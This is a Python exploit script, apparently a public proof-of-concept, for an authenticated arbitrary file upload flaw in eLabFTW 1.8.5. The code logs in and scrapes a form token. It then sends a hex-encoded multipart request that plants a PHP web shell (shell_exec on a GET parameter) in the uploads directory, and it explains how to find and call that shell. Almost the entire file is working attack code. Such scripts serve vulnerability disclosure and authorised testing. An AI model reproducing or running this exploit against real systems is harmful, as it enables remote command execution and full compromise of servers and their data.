1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166 | #!/usr/bin/env python
#
# Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary
File Upload / RCE
# Date : 5/18/19
# Exploit Author : liquidsky (JMcPeters)
# Vulnerable Software : eLabFTW 1.8.5
# Vendor Homepage : https://www.elabftw.net/
# Version : 1.8.5
# Software Link : https://github.com/elabftw/elabftw
# Tested On : Linux / PHP Version 7.0.33 / Default
installation (Softaculous)
# Author Site : http://incidentsecurity.com | https://github.com/fuzzlove
#
# Greetz : wetw0rk, offsec ^^
#
# Description: eLabFTW 1.8.5 is vulnerable to arbitrary file uploads
via the /app/controllers/EntityController.php component.
# This may result in remote command execution. An attacker can use a
user account to fully compromise the system using a POST request.
# This will allow for PHP files to be written to the web root, and for
code to execute on the remote server.
#
# Notes: Once this is done a php shell will drop at https://[target
site]/[elabftw directory]/uploads/[random 2 alphanum]/[random long
alphanumeric].php5?e=whoami
# You will have to visit the uploads directory on the site to see what
the name is. However there is no protection against directory listing.
# So this can be done by an attacker remotely.
import requests
from bs4 import BeautifulSoup as bs4
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import sys
import time
print "+-------------------------------------------------------------+"
print
print "- eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE"
print
print "- Discovery / PoC by liquidsky (JMcPeters) ^^"
print
print "+-------------------------------------------------------------+"
try:
target = sys.argv[1]
email = sys.argv[2]
password = sys.argv[3]
directory = sys.argv[4]
except IndexError:
print
print "- Usage: %s <target> <email> <password> <directory>" % sys.argv[0]
print "- Example: %s incidentsecurity.com user@email.com mypassword
elabftw" % sys.argv[0]
print
sys.exit()
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
# The payload to send
data = ""
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37"
data += "\x32\x31\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39"
data += "\x34\x31\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a"
data += "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69"
data += "\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"
data += "\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x22"
data += "\x0d\x0a\x0d\x0a\x74\x72\x75\x65\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36\x37\x35"
data += "\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31\x31\x36"
data += "\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f\x6e\x74\x65"
data += "\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a"
data += "\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d"
data += "\x65\x3d\x22\x69\x64\x22\x0d\x0a\x0d\x0a\x34\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x74\x79\x70\x65\x22\x0d\x0a\x0d\x0a"
data += "\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x73\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x33\x2e\x70\x68"
data += "\x70\x35\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79"
data += "\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e"
data += "\x2f\x78\x2d\x70\x68\x70\x0d\x0a\x0d\x0a\x3c\x3f\x70\x68\x70"
data += "\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65"
data += "\x63\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x27\x5d\x2e\x27\x20"
data += "\x32\x3e\x26\x31\x27\x29\x3b\x20\x3f\x3e\x0d\x0a\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36"
data += "\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31"
data += "\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x2d\x2d\x0d\x0a"
s = requests.Session()
print "[*] Visiting eLabFTW Site"
r = s.get('https://' + target + '/' + directory +
'/login.php',verify=False, proxies=proxies)
print "[x]"
# Grabbing token
html_bytes = r.text
soup = bs4(html_bytes, 'lxml')
token = soup.find('input', {'name':'formkey'})['value']
values = {'email': email,
'password': password,
'formkey': token,}
time.sleep(2)
print "[*] Logging in to eLabFTW"
r = s.post('https://' + target + '/' + directory +
'/app/controllers/LoginController.php', data=values, verify=False,
proxies=proxies)
print "[x] Logged in :)"
time.sleep(2)
sessionId = s.cookies['PHPSESSID']
headers = {
#POST /elabftw/app/controllers/EntityController.php HTTP/1.1
#Host: incidentsecurity.com
"User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0)
Gecko/20100101 Firefox/52.0",
"Accept": "application/json",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
#Referer: https://incidentsecurity.com
"Cache-Control": "no-cache",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "588",
"Content-Type": "multipart/form-data;
boundary=---------------------------72167598110874594111630395077",
"Connection": "close",
"Cookie": "PHPSESSID=" + sessionId + ";" + "token=" + token
}
print "[*] Sending payload..."
r = s.post('https://' + target + '/' + directory +
'/app/controllers/EntityController.php',verify=False, headers=headers,
data=data, proxies=proxies)
print "[x] Payload sent"
print
print "Now check https://%s/%s/uploads" % (target, directory)
print "Your php shell will be there under a random name (.php5)"
print
print "i.e https://[vulnerable
site]/elabftw/uploads/60/6054a32461de6294843b7f7ea9ea2a34a19ca420752b087c87011144fc83f90b9aa5bdcdce5dee132584f6da45b7ec9e3841405e9d67a7d196f064116cf2da38.php5?e=whoami"
|
